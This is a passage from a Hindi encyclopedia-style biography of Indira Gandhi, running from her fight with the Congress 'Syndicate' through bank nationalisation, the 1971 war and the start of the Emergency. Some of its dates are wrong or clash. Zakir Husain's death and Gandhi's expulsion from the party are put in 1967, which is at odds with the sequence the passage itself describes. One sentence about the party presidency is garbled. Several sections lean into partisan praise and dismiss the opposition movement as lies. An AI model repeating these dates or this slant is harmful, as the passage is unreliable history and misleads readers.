इंदिरा गाँधी पुन: प्रधानमंत्री बन गई लेकिन सिंडीकेट का पराभव लंबे समय तक नहीं चला। कामराज और एस. के. पाटिल उप चुनावों के माध्यम से विजयी होकर सांसद बन गए। उन्होंने मोरारजी देसाई को अपने साथ मिलाकर सिंडीकेट को पुन: मज़बूत बना लिया। ऐसे में सिंडीकेट ने दावा किया कि कांग्रेस का प्रधानमंत्री पार्टी से ऊपर नहीं है और पार्टी की नीतियों के अनुसार ही प्रधानमंत्री को शासन करने का अधिकार होता है। 
 
 
 
1967 के अंत में कामराज का अध्यक्षीय कार्यकाल समाप्त होना था। इंदिरा गाँधी को यह उम्मीद बंधी कि पार्टी का नया अध्यक्ष पद निजलिंगप्पा के सुपुर्द हो गया। सिंडीकेट ने तय कर लिया कि इंदिरा गाँधी को प्रधानमंत्री पद से हटाकर सिंडीकेट के किसी वफ़ादार व्यक्ति को इस पद पर नियुक्त किया जाए। [[मोरारजी देसाई]] ने प्रधानमंत्री बनने के लिए अपनी रज़ामंदी भी दे दी। इंदिरा गाँधी भी ख़तरे को भांप चुकी थी। लेकिन उपयुक्त अवसर का इंतज़ार करने लगीं। वह स्वयं पहला वार नहीं करना चाहती थीं। उन्हें यह अवसर मई 1967 में तब प्राप्त हुआ जब [[ज़ाकिर हुसैन|डॉक्टर ज़ाकिर हुसैन]] की राष्ट्रपति पद पर कार्यकाल के दौरान मृत्यु हो गई। नए राष्ट्रपति के चुनाव ने यह भूमिका बनाई कि इंदिरा गाँधी आर-पार की लड़ाई लड़ सकें। तब सिंडीकेट ने नए [[राष्ट्रपति]] के रूप में [[नीलम संजीव रेड्डी]] का नाम प्रस्तावित किया। फिर कांग्रेस की ओर से उनका नामांकन भी कर दिया गया।
 
====सुधारवादी आर्थिक कार्यक्रम====
 
सिंडीकेट चाहती थी कि रेड्डी के राष्ट्रपति चुने जाने के बाद इंदिरा गाँधी को प्रधानमंत्री पद छोड़ने के लिए विवश कर दिया जाए। इंदिरा गाँधी को सिंडीकेट की इस चाल का पूर्वानुमान था। '''उन्होंने तत्कालीन उपराष्ट्रपति [[वी.वी. गिरि]] को राष्ट्रपति उम्मीदवार के रूप में खड़ा कर दिया। इससे जनता के मध्य उनकी छवि खंडित हुई कि वह पार्टी के विरुद्ध जा रही हैं। लेकिन इंदिरा गाँधी को यह पता था कि उन्हें आगे क्या करना है। लिहाज़ा उन्होंने मोरारजी देसाई से वित्त मंत्रालय वापस ले लिया।''' अब इंदिरा गाँधी ने [[वित्त मंत्रालय]] अपने पास रखते हुए कई आर्थिक कार्यक्रम चलाए। '''उन्होंने देश के महत्त्वपूर्ण 14 बैंकों का राष्ट्रीयकरण कर दिया ताकि वे सरकार की आर्थिक नीति के अनुसार आचरण कर सकें।'''
 
 
 
<blockquote>इंदिरा गाँधी ने दूसरा क़दम यह उठाया कि भूतपूर्व राजा-महाराजाओं को जो बड़ी राशि [[प्रीविपर्स]] के रूप में मिलती आ रही थी, उसकी समाप्ति की घोषणा कर दी। इन बड़े दो क़दमों के कारण जनता के मध्य इंदिरा गाँधी की एक सुधारवादी प्रधानमंत्री की छवि क़ायम हुई और उनकी लोकप्रियता का ग्राफ़ एकदम ही उछल गया। ग़रीब, दलित, मध्यम वर्ग और बुद्धिजीवी वर्ग सभी ने इंदिरा गाँधी के सुधारवादी क़दमों की जमकर प्रशंसा की। इधर सिंडीकेट ने इंदिरा गाँधी पर ज़ोर डाला कि वह नीलम संजीव रेड्डी के राष्ट्रपति चुनाव हेतु '[[व्हिप]]' जारी करें। लेकिन उन्होंने इंकार कर दिया और अंतरात्मा की आवाज़ पर योग्य उम्मीदवार को वोट देने की अपील की। इंदिरा गाँधी ने अपनी सुदृढ़ छवि बनाकर वी.वी गिरि के लिए मार्ग साफ़ कर दिया। वी. वी. गिरि राष्ट्रपति के रूप में निर्वाचित हुए और सिंडीकेट को पुन: मुहँ की खानी पड़ी।</blockquote>
 
 
 
[[12 नवंबर]], 1967 को इंदिरा गाँधी को प्रधानमंत्री पद पर रहते हुए पार्टी से निष्कासित कर दिया। इस प्रकार वे उन्हें प्रधानमंत्री पद से अपदस्थ करना चाहते थे। जो व्यक्ति पार्टी की सदस्यता से निष्कासित हो चुका हो, वह उस पार्टी की ओर से प्रधानमंत्री कैसे रह सकता था? इसके जवाब में इंदिरा गाँधी ने कांग्रेस पार्टी को विभाजित कर दिया। उन्होंने अपनी कांग्रेस को कांग्रेस-आर (रिक्विसिशनिस्ट) करार दिया जबकि सिंडीकेट की कांग्रेस को कांग्रेस-ओ (आर्गेनाइजेशन) नाम प्राप्त हो गया।{{दाँयाबक्सा|पाठ=आज तक भारत के जितने भी प्रधानमंत्री हुए हैं। उन सभी की अनेक विशेषताएँ हो सकती हैं। लेकिन इंदिरा गाँधी के रूप में जो प्रधानमंत्री भारत को प्राप्त हुआ, वैसा प्रधानमंत्री अभी तक दूसरा नहीं हुआ है क्योंकि एक प्रधानमंत्री के रूप में इंदिरा गाँधी ने विभिन्न चुनौतियों का मुक़ाबला करने में सफलता प्राप्त की। युद्ध हो, विपक्ष की नीतियाँ हों, कूटनीति का अंतर्राष्ट्रीय मैदान हो अथवा देश की कोई समस्या हो- इंदिरा गाँधी ने स्वयं को सफल साबित किया।|विचारक=}}
 
 
 
इंदिरा गाँधी की पार्टी में सिंडीकेट की पार्टी से ज़्यादा सदस्य संख्या थी। इस कारण वह प्रधानमंत्री, साथ ही अपनी पार्टी की अध्यक्ष भी बनी रहीं। लेकिन इंदिरा गाँधी अब सिंडीकेट से पूरी तरह मुक्त हो जाना चाहती थीं। इसके लिए यह आवश्यक था कि वह पुन: जनादेश लें और नई पार्टी अध्यक्ष के रूप में चुनाव सभा में जाएँ। मध्यावधि चुनाव की घोषणा करने से पूर्व इंदिरा गाँधी ने कुछ ऐसे कार्यों को संपादित किया जिससे चुनावों के दौरान उन्हें लाभ मिल सके। उन्होंने मध्यावधि चुनाव की घोषणा से पूर्व निम्नवत क़दम उठाए।
 
*बैंकों के राष्ट्रीयकरण का कार्य पूर्ण किया गया। संसद में बहुमत था और राष्ट्रपति वी.वी. गिरि ने अध्यादेश को स्वीकृत कर लिया। इसके पूर्व न्यायालय ने बैंकों के राष्ट्रीयकरण को अवैध ठहराया था। बैकों के राष्ट्रीयकरण के बाद भारत सरकार की राष्ट्रीय आर्थिक नीति के अंतर्गत सामाजिक सरोकार के कार्य होने लगे। मध्यम वर्ग तथा अल्प मध्यम वर्ग के लोगों को रोज़गारपरक ऋण मिलने का मार्ग साफ़ हो गया।                                                                                                                           
 
*भूमि हदबंदी योजना को पूरी शक्ति के साथ लागू किया गया। इससे ग़रीब किसानों को अच्छा लाभ मिला।
 
*अगस्त 1970 में राजा-महाराजाओं को दिया जाने वाला प्रीविपर्स समाप्त कर दिया गया। इस प्रकार करोड़ों रुपयों की बचत संभव हुई और यह धन देश के सर्वहारा वर्ग के काम आया। इंदिरा गाँधी के इस क़दम का ग़रीबों और शोषित वर्ग के लोगों ने काफ़ी समर्थन किया।
 
*चौथी पंचवर्षीय योजना को लागू किया गया ताकि पंडित नेहरु ने राष्ट्र के विकास का जो माध्यम तैयार किया था, उसे क्रियांवित किया जा सके। चौथी पंचवर्षीय योजना बजट दुगना कर दिया गया।
 
 
 
इस प्रकार इंदिरा गाँधी ने लोक कल्याणकारी कार्यों के माध्यम से जनता के मध्य अपनी एक नई पहचान क़ायम की। लेकिन उनके विश्वस्त सांसदों की स्थिति पर्याप्त नहीं थी। वह चाहती थीं कि नए विधेयकों के लिए उन्हें दूसरी पार्टियों का मुँह न ताकना पड़े। इस प्रकार चुनाव से पूर्व इंदिरा गाँधी ने अपना आभामंडल तैयार किया और [[27 दिसंबर]], 1970 को लोकसभा भंग करके मध्यावधि चुनाव का मार्ग प्रशस्त कर दिया। एक वर्ष पूर्व लोकसभा भंग करने का उनका निर्णय साहसिक था।
 
 
 
==मध्यावधि चुनाव==
 
'''इंदिरा गाँधी मध्यावधि चुनाव भी करवा सकती हैं, विपक्ष को इसका अंदेशा नहीं था। लोकसभा भंग होने की घोषणा ने उन्हें भौचक्का कर दिया।''' उन्होंने न तो कोई तैयारी की थी और न ही कोई व्यूह रचना करने में सफल हुए थे। उनके पास पर्याप्त समय भी नहीं था जबकि जनता के पास जाने के लिए समुचित कार्य योजना की आवश्यकता थी। ऐसी स्थिति में विपक्ष इस कसौटी पर खरा नहीं उतर सका और संगठनवादी कांग्रेस के पास भी कोई मुद्दा नहीं था। इस कारण विपक्ष ने जहाँ 'कांग्रेस हटाओ' का नारा दिया, वहीं संगठन कांग्रेस ने इंदिरा हटाओं को ही अपनी चुनावी मुहिम का मुख्य मुद्दा बना लिया लेकिन जनता ठोस कार्यों की कार्य योजना चाहती थी। '''इंदिरा गाँधी ने 'ग़रीबी हटाओं' के नारे के साथ समाजवादी सिद्धांतों के अनुरुप चुनावी घोषणा पत्र तैयार कराया 'ग़रीबी हटाओ' का नारा लोकप्रिय साबित हुआ।''' उनके पूर्ववर्ती लोकहित कार्यों की पृष्ठभूमि ने भी चमत्कारी भूमिका निभाई। इंदिरा गाँधी के पक्ष में चुनावी माहौल बनने लगा और इंदिरा गाँधी को बहुतमत प्राप्त हो गया। उन्हें 518 में से 352 सीटों की प्राप्ति हुई।
 
 
 
चुनाव में विजय हासिल करने के लिए कांग्रेस (ओ), जनसंघ एवं स्वतंत्र पार्टी ने एक गठबंधन बनाया जिसका नाम 'ग्रैंड अलायंस' रखा गया था। ग्रैंड अलायंस को भारी क्षति हुई और जनता ने उन्हें नकार दिया। जनता ने सबको दर-किनार करके इंदिरा गाँधी को बहुमत प्रदान किया। केंद्र में इंदिरा गाँधी की स्थिति बेहद मज़बूत हो गई थी। अब वह स्वतंत्र फैसले करने में स्वतंत्र थीं। भारत का नाम अंतर्राष्ट्रीय स्तर पर भी बढ़ा। दुनिया भर के अन्य राष्ट्र भारत की ओर उत्सुक दृष्टि से देख रहे थे। क्योंकि राजनीतिक स्थिरता प्राप्त करने के बाद उन्हें उम्मीद थी कि भारत विकास पथ पर बढ़ते हुए आर्थिक स्वावलंबन भी प्राप्त कर लेगा।
 
 
 
==पाकिस्तान युद्ध==
 
पाकिस्तान बनने के साथ ही वहाँ अप्रत्यक्ष रूप से एक बँटवारा हो गया था- पूर्वी पाकिस्तान और पश्चिमी पाकिस्तान ने भाषा की श्रेष्ठता के आधार पर पूर्वी पाकिस्तान के साथ सौतेला व्यवहार करना आरंभ कर दिया। '''बंगला भाषी पाकिस्तानियों का शोषण होने लगा और उन्हें पाकिस्तान में दोयम दर्जे का नागरिक माना जाने लगा।''' पश्चिमी पाकिस्तान के लोगों में श्रेष्ठता का दंभ था। इस कारण पाकिस्तान बनने के बाद जो विकास कार्य हुआ, वह पश्चिमी पाकिस्तान में ही हुआ। ऐसे में बंगला भाषी पाकिस्तानियों की आर्थिक स्थिति में भी निरंतर गिरावट रही। इस सौतेलेपन के विरुद्ध पूर्वी पाकिस्तान ने आवाज़ बुलंद की इसका परिणाम यह हुआ कि उनकी आवाज़ को कुचलने के लिए कई बार सैनिक कार्रवाई भी की गई। अततः शेख़ मुजीबुर्रहमान के नेतृत्व में समस्त पूर्वी पाकिस्तान सौतेलेपन और शोषण के विरुद्ध एकजुट हो गया। '''पाकिस्तान के सैन्य शासक यहिया ख़ान ने पूर्वी पाकिस्तान में सेना भेज दी। इन सैनिकों ने पूर्वी पाकिस्तान में अमानवीयता की हदें पार करते हुए नृशंसता का जो नंगा नृत्य किया, उससे इंसानियत शर्मसार हो गई।'''
 
[[चित्र:Indira-Gandhi-2.jpg|thumb|250px|left|इंदिरा गाँधी स्टाम्प]]
 
इन सैनिकों ने पूर्वी पाकिस्तान की बहू-बेटियों के साथ सामूहिक रूप से बलात्कार किए। लोगों का क़त्ले-आम करते हुए दुध-मुँहे बच्चों को भी संगीनों पर उछाला गया। पूर्वी पाकिस्तान के भयभीत लोग भारत के सीमावर्ती प्रांतों में शरण लेने के लिए मजबूर हो गए। [[1971]] के नवंबर माह तक पूर्वी पाकिस्तान के एक करोड़ शरणार्थी भारत में प्रविष्ट हो चुके थे। इन शरणार्थियों की उदर पूर्ति करना तब भारत के लिए एक समस्या बन गई थी। ऐसी स्थिति में भारत ने पाकिस्तान के बर्बर रुख़ के विरुद्ध अंतर्राष्ट्रीय स्तर पर मानवता के हित में आवाज़ बुलंद की। इसे पाकिस्तान ने अपने देश का आंतरिक मामला बताते हुए पूर्वी पाकिस्तान में घिनौनी सैनिक कार्रवाई जारी रखी। छह माह तक वहाँ दमन चक्र चला।
 
 
 
इसके पश्चात पाकिस्तान ने [[3 दिसंबर]], 1971 को भारत के वायु सेना ठिकानों पर हमला करते हुए उसे युद्ध का न्योता दे दिया। पश्चिमी भारत के सैनिक अड्डों पर किया गया हमला पाकिस्तान की ऐतिहासिक पराजय का कारण बना। इंदिरा जी ने चतुरतापूर्वक तीनों सेनाध्यक्षों के साथ मिलकर यह योजना बनाई कि उन्हें दो तरफ से आक्रमण करना है। एक आक्रमण पश्चिमी पाकिस्तान पर होगा और दूसरा आक्रमण तब किया जाएगा जब पूर्वी पाकिस्तान की मुक्तिवाहिनी सेनाओं को भी साथ मिला लिया जाएगा। [[जनरल जे.एस.अरोड़ा]] के नेतृत्व में भारतीय थल सेना मुक्तिवाहिनी की मदद के लिए मात्र ग्यारह दिनों में ढाका तक पहुँच गई। पाकिस्तान की छावनी को चारों ओर से घेर लिया गया। तब पाकिस्तान को लगा कि उसका मित्र अमेरिका उसकी मदद करेगा। उसने अमेरिका से मदद की गुहार लगाई। अमेरिका ने दादागिरी दिखाते हुए अपना सातवां बेड़ा बंगाल की खाड़ी की ओर रवाना कर दिया। तब इंदिरा गाँधी ने फ़ील्ड मार्शल [[जनरल मॉनेक शॉ]] से परामर्श करके भारतीय सेना को अपना काम शीघ्रता से निपटाने का आदेश दिया।
 
 
 
13 दिसंबर को भारत की सेनाओं ने ढाका को सभी दिशाओं से घेर लिया। '''16 दिसंबर को जनरल नियाजी ने 93 हज़ार पाक सैनिकों के साथ हथियार डाल दिए।''' उन्हें बंदी बनाकर भारत ले आया गया। शीघ्र ही पूर्वी पाकिस्तान के रूप में [[बांग्लादेश]] का जन्म हुआ और पाकिस्तान पराजित होने के साथ ही साथ दो भागों में विभाजित भी हो गया। भारत ने बांग्लादेश को अपनी ओर से सर्वप्रथम मान्यता भी प्रदान कर दी। भारत ने युद्ध विराम घोषित कर दिया क्योंकि उसका उद्देश्य पूर्ण हो चुका था। इसके बाद कई अन्य राष्ट्रों ने भी बांग्लादेश को एक नए राष्ट्र के रूप में मान्यता दे दी।
 
 
 
पाकिस्तान के पास सेना नहीं बची थी, इसलिए युद्ध विराम स्वीकार करना उसकी अनिवार्य मजबूरी थी। अमेरिका और पाकिस्तान के अन्य मित्र सेना रहित देश की क्या सहायता कर सकते थे। दक्षिण एशिया में भारत एक महाशक्ति के रूप में अवतरित हो चुका था। भारत पर किसी अन्य देश द्वारा हमला किए जाने की स्थिति में सोवियत संघ ने गंभीर परिणाम भुगतने की चेतावनी जारी कर दी। ऐसे में अमेरिका भी चुप्पी लगाकर बैठ गया। भारत ने पाकिस्तान की सैकड़ों वर्ग मील भूमि पर अपना कब्ज़ा कर लिया था और उसके लगभग एक लाख सैनिक बंदी बना लिए थे।
 
 
 
युद्ध में शर्मनाक हार झेलने के बाद यहिया ख़ान के स्थान पर ज़ुल्फिकार अली भुट्टो पाकिस्तान के नए राष्ट्रपति बनाए गए। उन्होंने भारत के समक्ष शांति वार्ता का प्रस्ताव रखा जिसे इंदिरा गाँधी ने स्वीकार कर लिया। [[शिमला]] में हुई वार्ता के दौरान निम्नलिखित मुद्दों पर [[शिमला समझौता]] हुआ।
 
#भारत द्वारा पाकिस्तान के बंदी बनाए गए सैनिकों को रिहा कर दिया जाएगा और पाकिस्तान की भूमि भी लौटा दी जाएगी।
 
#[[कश्मीर]] के जिन महत्त्वपूर्ण सामरिक स्थानों को भारत ने हासिल किया है, वहाँ भारत का आधिपत्य बना रहेगा।
 
#यदि भविष्य में कोई विवाद पैदा होता है तो किसी भी अन्य देश की मध्यस्थता स्वीकार्य नहीं होगी तथा विवाद को शिमला समझौते की शर्त के अनुसार ही हल किया जाएगा।
 
 
 
==चहुँमुखी विकास==
 
पाकिस्तान से युद्ध के बाद इंदिरा गाँधी ने अपना सारा ध्यान देश के विकास की ओर केंद्रित कर दिया। संसद में उन्हें बहुमत प्राप्त था और निर्णय लेने में स्वतंत्रता थी। उन्होंने ऐसे उद्योगों को रेखांकित किया जिनका कुशल उपयोग नहीं हो रहा था। उनमें से एक बीमा उद्योग था और दूसरा कोयला उद्योग। बीमा कंपनियाँ भारी मुनाफा अर्जित कर रही थीं। लेकिन उनकी पूँजी से देश का विकास नहीं हो रहा था। वह पूँजी निजी हाथों में जा रही थी। बीमा कंपनियों के नियमों में पारदर्शिता का अभाव होने के कारण जनता को वैसे लाभ नहीं प्राप्त हो रहे थे, जैसे होने चाहिए थे। '''लिहाज़ा [[अगस्त]], [[1972]] में बीमा कारोबार का राष्ट्रीयकरण कर दिया गया।''' इसी प्रकार कोयला उद्योग में भी श्रमिकों का शोषण किया जा रहा था। उस समय कोयला एक परंपरागत ऊर्जा का स्रोत था और उसकी बर्बादी की जा रही थी। कोयला खानों की खुदाई वैज्ञानिकतापूर्ण नहीं थी। इस कारण खान दुर्घटनाओं में सैकड़ों श्रमिक एक साथ काल-कवलित हो जाते थे। कोयला उद्योग एक माफिया गिरोह के हाथों में संचालित होता नज़र आ रहा था। सरकार को रेल एवं उद्योगों के लिए कोयला आपूर्ति हेतु इन पर आश्रित होना पड़ता था। अतः इंदिरा गाँधी ने '''कोयला उद्योग का भी जनवरी 1972 में राष्ट्रीयकरण कर दिया।''' उनके इन दोनों कार्यों को अपार जनसमर्थन प्राप्त हुआ। इसके अतिरिक्त इंदिरा गाँधी ने निम्नवत समाजोपयोगी क़दम उठाए जिनकी उम्मीद लोक कल्याणकारी सरकार से की जा रही थी।
 
 
 
#हदबंदी क़ानून को पूरी तरह लागू किया गया। अतिरिक्त भूमि को लघु कृषकों एवं भूमिहीनों के मध्य वितरित किया गया।
 
#केंद्र की अनुशंसा पर राज्य सरकारों ने भी विधेयक पारित करके इन क़ानूनों को राज्य में लागू करने का कार्य किया।
 
#आर्थिक रूप से कमज़ोर वर्गों को सस्ती दरों पर खाद्यान्न प्रदान करने की योजना का शुभारंभ किया गया।
 
#ग्रामीण बैंकों की स्थापना अनिवार्य की गई और उन्हें यह निर्देश दिया गया कि किसानों एवं कुटीर उद्योगों की स्थापना करने वाले लोगों को सस्ती ब्याज दर पर पूँजी उपलब्ध करवाएँ।
 
#ज्वॉइट स्टॉक कंपनियों द्वारा जो राजनीतिक चंदा प्रदान किया जाता था, उस पर रोक लगा दी गई ताकि धन का नाजायज़ उपयोग रोका जा सके।
 
#परमाणु बम बनाने की क्षमता हासिल करने के लिए [[राजस्थान]] के पोकरण में परमाणु विस्फोट किया गया।
 
#इंदिरा गाँधी ने यह प्रस्ताव पारित करवाया कि संसद में पारित हुए विधेयकों को निरस्त करने का अधिकार उच्चतम न्यायालय को नहीं होगा।
 
 
 
==आपातकाल के पूर्व की स्थितियाँ==
 
इंदिरा गाँधी कल्याणकारी नीतियों के कारण निम्न वर्ग को फ़ायदा हो रहा था लेकिन पूँजीपतियों को सरकारी नीतियों से घोर निराशा हो रही थी। इसी प्रकार जिन राजे-रजवाड़ों के विरुद्ध कार्रवाई की गई थी, वे भी वर्ग सरकार की नीतियों का समर्थक नहीं रहा क्योंकि कीमतों में काफ़ी वृद्धि हो रही थी और लोग बढ़ती महँगाई के कारण जीवन स्तर बनाए रखने में सफल नहीं हो पा रहे थे। देश ने युद्ध का आर्थिक बोझ भी झेला था। एक करोड़ बांग्लादेश शरणार्थियों को शरण देने के कारण संकट तब बढ़ गया जब दो वर्षों से वर्षा नहीं हुई। अंतर्राष्ट्रीय बाज़ार में पेट्रोलियम के मूल्य में निरंतर वृद्धि होने से भी भारत में महँगाई बढ़ रही थी और देश का विदेशी मुद्रा भंडार पेट्रोलियम आयात करने के कारण तेजी से घटता जा रहा था। '''आर्थिक मंदी से उद्योग धंधे भी चौपट हो रहे थे।''' ऐसी स्थिति में बेरोज़गारी काफ़ी बढ़ चुकी थी और सरकारी कर्मचारी महँगाई से त्रस्त होने के कारण वेतन में वृद्धि की माँग कर रहे थे। सरकारी कर्मियों के रूप में सबसे बड़ी हड़ताल रेल कर्मचारियों की थी। इनका आंदोलन 22 दिनों तक चला। इस कारण जहाँ यात्रियों को भारी परेशानी हुई, वहीं माल का परिवहन भी बाधित हुआ।
 
 
 
रेल का चक्का रुकने से देश की प्रगति का चक्र भी थम गया था। रेल कर्मचारियों को चेतावनी दी गई लेकिन हड़ताल जारी रही। ऐसे में सरकार ने हड़ताल को गैरक़ानूनी क़रार देते हुए कठोर और दमनात्मक कार्रवाई की। हज़ारों कर्मचारियों के आवास ख़ाली करवाए गए और उन्हें नौकरी से भी बर्खास्त कर दिया गया। इसका परिणाम यह हुआ कि कर्मचारी एवं श्रमिक वर्ग इंदिरा गाँधी से नाराज़ हो गया। समस्तीपुर की एक सभा में बम विस्फोट हुआ और ललित नारायण मिश्र की बम धमाके में मृत्यु हो गई। इधर सरकार के विरुद्ध भ्रष्टाचार के आरोप भी लगने लगे। सरकार के ख़िलाफ़ देश भर में आंदोलन किए जा रहें थे। उधर इंदिरा गाँधी अपने छोटे पुत्र संजय गाँधी को राजनीति में ले आई थीं। युवा संजय गाँधी ने असंवैधानिक ढंग से सरकार चलाने का कार्य आरंभ कर दिया। '''संजय गाँधी के प्रति इंदिरा गाँधी की वैसी ही निष्ठा थी जैसी [[धृतराष्ट्र]] की [[दुर्योधन]] के प्रति थी।''' पुत्र मोह के कारण इंदिरा गाँधी ने संजय को 50,000 मारुति कार निर्माण का लाइसेंस भी प्रदान कर दिया। ऐसी स्थिति में विपक्षी दलों को सुनहरा अवसर मिल गया। उन्होंने भी आंदोलनकारियों की पीठ थपथपाना आरंभ कर दिया।
 
 
 
====गुजरात आंदोलन====
 
सर्वप्रथम विरोधी राजनीति और असंतोष से उत्पन्न हिंसक आंदोलन का सूत्रपात [[गुजरात]] से हुआ जो बेहद शांतिप्रिय राज्य माना जाता था। यहाँ छात्रों ने हिंसक आंदोलन किए और विपक्ष ने भी इसमें महत्त्वपूर्ण भूमिका निभाई। 1974 में अराजकता की स्थिति उत्पन्न हो गई। आगजनी और लूट की घटानाओं को सरेआम अंजाम दिया जा रहा था। कभी-कभी पुलिस को विवशता में लाठी चार्ज भी करना पड़ रहा था। आंदोलनकारियों ने गुजरात विधानसभा को ज़बरन त्यागपत्र देने के लिए विवश कर दिया। गुजरात के हालात बद से बदतर हो रहे थे। ऐसी स्थिति में मोरारजी देसाई ने आमरण अनशत आरंभ कर दिया। इंदिरा गाँधी ने राज्य सरकार को बर्खास्त करके वहाँ राष्ट्रपति शासन लगा दिया। [[जून]], 1976 में चुनाव करवाए जाने की घोषणा भी कर दी गई। इस प्रकार आंदोलनों के कारण गुजरात में निर्वाचित सरकार को भंग करना पड़ा। '''इससे दूसरे राज्यों तक भी ग़लत संदेश गया''' और इसकी प्रतिक्रिया [[बिहार]] में हुई।{{दाँयाबक्सा|पाठ=प्रत्येक इंसान अपना एक स्वतंत्र व्यक्तित्व लेकर पैदा होता है। लेकिन वह अपने उन कार्यों से जाना जाता है जिनसे उसके गुण-अवगुण प्रदर्शित होते हैं। यदि इंदिरा गाँधी के कर्तृत्व की समीक्षा की जाए तो यह कहना उचित होगा कि ऐसी शख़्सियतें शताब्दियों में ही पैदा होती हैं। जिन्होंने इंदिरा गाँधी के प्रधानमंत्रित्व काल को देखा है, वे लोग यह मानते हैं कि इंदिरा गाँधी में अपार साहस, निर्णय शाक्ति और धैर्य था। वह भी अपने पिता पंडित नेहरू की भांति स्वप्नद्रष्टा और महत्त्वाकांक्षी थीं।|विचारक=}}
 
 
 
====बिहार आंदोलन====
 
बिहार में भी आंदोलन का सूत्रपात छात्र आंदोलन के रूप में हुआ। [[मार्च]], 1974 में छात्रों ने बिहार विधानसभा का घेराव किया। छात्र आंदोलन को कुचलने के लिए पुलिस ने लाठी तथा गोली का भी बेझिझक प्रयोग किया। इस आंदोलन में विपक्षी दलों ने छात्रों का साथ देना शुरू कर दिया। '''ऐसी स्थिति में हिंसक आंदोलन आरंभ हो गए तथा एक सप्ताह में ही दो दर्जन से अधिक लोग अपनी ज़िंदगी से हाथ धो बैठे।''' [[जयप्रकाश नारायण]] जो राजनीति से सन्यास ले चुके थे, वह सक्रिय हो गए और उन्होंने आंदोलन की कमान संभाल ली। '''जिस प्रकार अंग्रेज़ों के विरुद्ध असहयोग आंदोलन चलाया गया था, उसी तर्ज पर जयप्रकाश नारायण ने लोगों को उकसाया कि राज्य की व्यवस्था चौपट कर दी।''' लेकिन इंदिरा जी ने गुजरात वाली ग़लती को बिहार में नहीं दोहराया।
 
 
 
====निर्वाचन पर मुक़दमा====
 
इंदिरा गाँधी पर [[इलाहाबाद उच्च न्यायालय]] में एक मुक़दमा चल रहा था जो चुनाव में ग़लत साधन अपनाकर विजय हासिल करने से संबंधित था। [[12 जून]], [[1975]] को राजनारायण द्वारा दायर किए गए मुक़दमे का फैसला "इलाहाबाद उच्च न्यायालय के न्यायाधीश श्री सिंह ने सुनाया। उसके अनुसार इंदिरा गाँधी का न केवल चुनाव रद्द किया गया बल्कि उन्हें छह वर्षों के लिए चुनाव लड़ने से भी प्रतिबंधित कर दिया गया।" उन पर आरोप था कि उन्होंने चुनाव में सरकारी मशीनरी का दुरुपयोग किया था और [[चुनाव आयोग|निर्वाचन आयोग]] द्वारा निर्धारित राशि से अधिक राशि का व्यय चुनाव प्रचार में किया था। इस फैसले के विरुद्ध उन्हें अपील करने का समय दिया गया था। ऐसे में इंदिरा गाँधी ने फैसले के ख़िलाफ़ सर्वोच्च न्यायालय में अपील की और वहाँ सुनवाई के लिए 14 जुलाई का दिन मुकर्रर कर दिया गया।
 
 
 
जे.पी. और विरोधी दल एकजुट होकर इंदिरा गाँधी से नैतिकता की दुराई देकर इस्तीफ़ा देने की माँग करने लगे। इस बीच [[24 जून]], [[1975]] को मामले की संवैधानिक व्यवस्था करते हुर अवकाश प्राप्त न्यायमूर्ति ने कहा कि सुनवाई होने तक इंदिरा गाँधी प्रधानमंत्री पद पर रह सकती हैं और संसद में बोल भी सकती हैं परंतु उन्हें मतदान का कोई अधिकार नहीं होगा। लेकिन विपक्ष यह मुद्दा हाथ से नहीं जाने देना चाहता था। उन्हें [[14 जुलाई]] तक का भी इंतज़ार गवारा नहीं था जब सर्वोच्च न्यायालय में सुनवाई होनी थी। जयप्रकाश नारायण की नेहरू परिवार से दुश्मनी के सुषुप्त प्रेत जाग गए। उन्होंने आंदोलन को पूरे देश में फैला दिया। इंदिरा गाँधी के विरुद्ध प्रचार किया जाने लगा। हज़ार बार कहा गया झूठ भी सच जैसा लगने लगता है। जनता ने भी घृणित प्रचार पर विश्वास करना आरंभ कर दिया। एक व्यक्ति के ख़िलाफ़ इतने लोग ग़लत नहीं हो सकते- जनता इस मनोविज्ञान का शिकार होकर यह भूल गई कि जो मामला सर्वोच्च न्यायालय में लंबित है, उसके लिए हाय तौबा मचाने की क्या ज़रूरत।
 
 
 
==आपातकाल==
 
[[15 जून]], [[1975]] को जे.पी. और समर्थिक विपक्ष ने आंदोलन को उग्र रूप दे दिया। साथ ही यह तय किया गया कि पूरे देश में [[सविनय अवज्ञा आन्दोलन]] चलाया जाए और प्रधानमंत्री आवास को भी घेर लिया जाए। आवास में मौजूद लोगों को नज़रबंद करके किसी को भी अंदर प्रविष्ट न होने दिया जाए।
 
इन्हीं परिस्थितियों के कारण प्रधानमंत्री इंदिरा गाँधी ने [[25 जून]], 1975 को तत्कालीन राष्ट्रपति [[फ़ख़रुद्दीन अली अहमद]] से आपातकाल लागू करने की हस्ताक्षरित स्वीकृति प्राप्त कर ली। '''इस प्रकार [[26 जून]], 1975 की प्रातः देश में आपातकाल की घोषणा कर दी गई।''' आपातकाल लागू होने के बाद जयप्रकाश नारायण, मोरारजी देसाई और अन्य सैकड़ों छोटे-बड़े नेताओं को गिरफ़्तार करके जेल में डाल दिया गया। ऐसा माना जाता है कि आपातकाल के दौरान एक लाख व्यक्तियों को देश की विभिन्न जेलों में बंद किया गया था। इनमें मात्र राजनीतिक व्यक्ति ही नहीं, आपराधिक प्रवृत्ति के लोग भी थे जो ऐसे आंदोलनों के समय लूटपाट करते हैं। साथ ही भ्रष्ट कालाबाज़ारियों और हिस्ट्रीशीटर अपराधियों को बंद कर दिया गया।
 
 
 
इंदिरा गाँधी का यह उद्देश्य था कि आपातकाल से अपनी कुर्सी बचाने के साथ-साथ ढुलमुल प्रशासन को चाक-चौबंद किया जाए। ऐसे में कई सरकारी कर्मचारियों को निलंबित भी किया गया। इमर्जेंसी के दौरान सरकारी मशीनरी में सुधार हुआ। '''कर्मचारी समय पर आने-जाने लगे और रिश्वतखोरी की घटनाएँ काफ़ी कम हो गईं, ट्रेनें भी समय से चलने लगी थीं, लेकिन देश में आपातकाल का आतंक व्याप्त था।''' आपातकाल में इंदिरा गाँधी के छोटे पुत्र संजय गाँधी का व्यवहार भी काफ़ी अमर्यादित रहा। राष्ट्रहित के लिए देश की आबादी नियंत्रित करने हेतु नसबंदी किए जाने की भी योजना थी लेकिन उसका काफ़ी दुरुपयोग किया गया। जिन युवकों की शादी भी नहीं हुई थी, उनकी भी नसबंदी कर दी गई। इसी प्रकार राज्य स्तर पर '''राजनीतिज्ञों ने आपातकाल के नाम पर व्यक्तिगत शत्रुता निकालते हुए विरोधियों को सींखचों के पीछे डाल दिया।''' बड़े 